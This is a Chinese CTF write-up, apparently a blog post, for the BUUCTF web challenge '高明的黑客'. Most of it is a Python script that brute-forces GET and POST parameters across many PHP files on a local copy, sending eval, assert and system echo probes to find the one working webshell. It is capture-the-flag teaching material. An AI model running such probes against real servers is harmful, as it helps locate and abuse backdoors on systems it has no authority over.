# 【Writeup】BUUCTF_Web_高明的黑客

原创

BAKUMANSEC 于 2019-08-19 22:49:26 发布 882 收藏

分类专栏： BUUCTF - Writeups 文章标签： Writeup Web



本文链接：https://blog.csdn.net/m0_38100569/article/details/99772734



## 0x01 解题思路

这题下载源码一看似乎有很多一句话木马，但是大多数根本没法执行命令，而且文件和参数都比较多，所以比较普遍的做法是本地搭个环境（PHP7）尝试所有的GET和POST参数。CTF Writeups给的wp：https://www.ctfwp.com/articals/2019qiangwang.html#%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2

用了多线程加速，并且是查找参数所在的文件缩小范围，自己又加了一点查找具体参数名称和提交方式的代码。

## 0x02 EXP

```
import os
import re
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()

path = "./src"  # 文件夹目录
files = os.listdir(path)  # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)

def read_file(file):
    print('finding...')
    f = open(path + "/" + file);  # 打开文件
    iter_f = iter(f);  # 创建迭代器
    str = ""
    for line in iter_f:  # 遍历文件，一行行遍历，读取文本
        str = str + line

    # 获取一个页面内所有参数
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1
```

```
        params[var] = 'echo("glzjin");'

        # print(var)

    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'echo("glzjin");'

        # print(var)

    # eval test
    r = session.post('http://localhost/src/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # assert test
    for i in params:
        params[i] = params[i][:-1]

    for i in data:
        data[i] = data[i][:-1]

    r = session.post('http://localhost/src/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # system test
    for i in params:
        params[i] = 'echo glzjin'

    for i in data:
        data[i] = 'echo glzjin'

    r = session.post('http://localhost/src/' + file, data=data, params=params)
    if r.text.find('glzjin') != -1:
        mutex.acquire()
        print(file + " found!")
        mutex.release()

    # print("====================")
def find_file():
    for file in files:  # 遍历文件夹
        if not os.path.isdir(file):  # 判断是否是文件夹，不是文件夹才打开
            # read_file(file)

            pool.submit(read_file, file)

def find_param(fileName):
    url = "http://localhost/src/"
```

```
    f = open(path+'/'+fileName, 'r', encoding='utf-8')
    content = f.read()
    m = re.findall("\$_(GET|POST)\['(.+?)'\]", content)
    if m:
        for seq in m:
            print('finding...')
            method = seq[0]
            param = seq[1]
            payload = ''
            payload += '?'
            payload += param
            payload += "="
            payload += "echo glzjin"
            res = requests.get(url + fileName + payload)
            n = re.findall('glzjin', res.text)
            if n:
                print('found!')
                print(fileName, method, param, "found!")
                return
            elif method == 'POST':
                postData = { param: "echo glzjin'" }
                res = requests.post(url + fileName, data=postData)
                n = re.findall('glzjin', res.text)
                if n:
                    print(fileName, method, param, "found!")

if __name__ == '__main__':
    #find_file()
    find_param('xk0SzyKwfzw.php')
```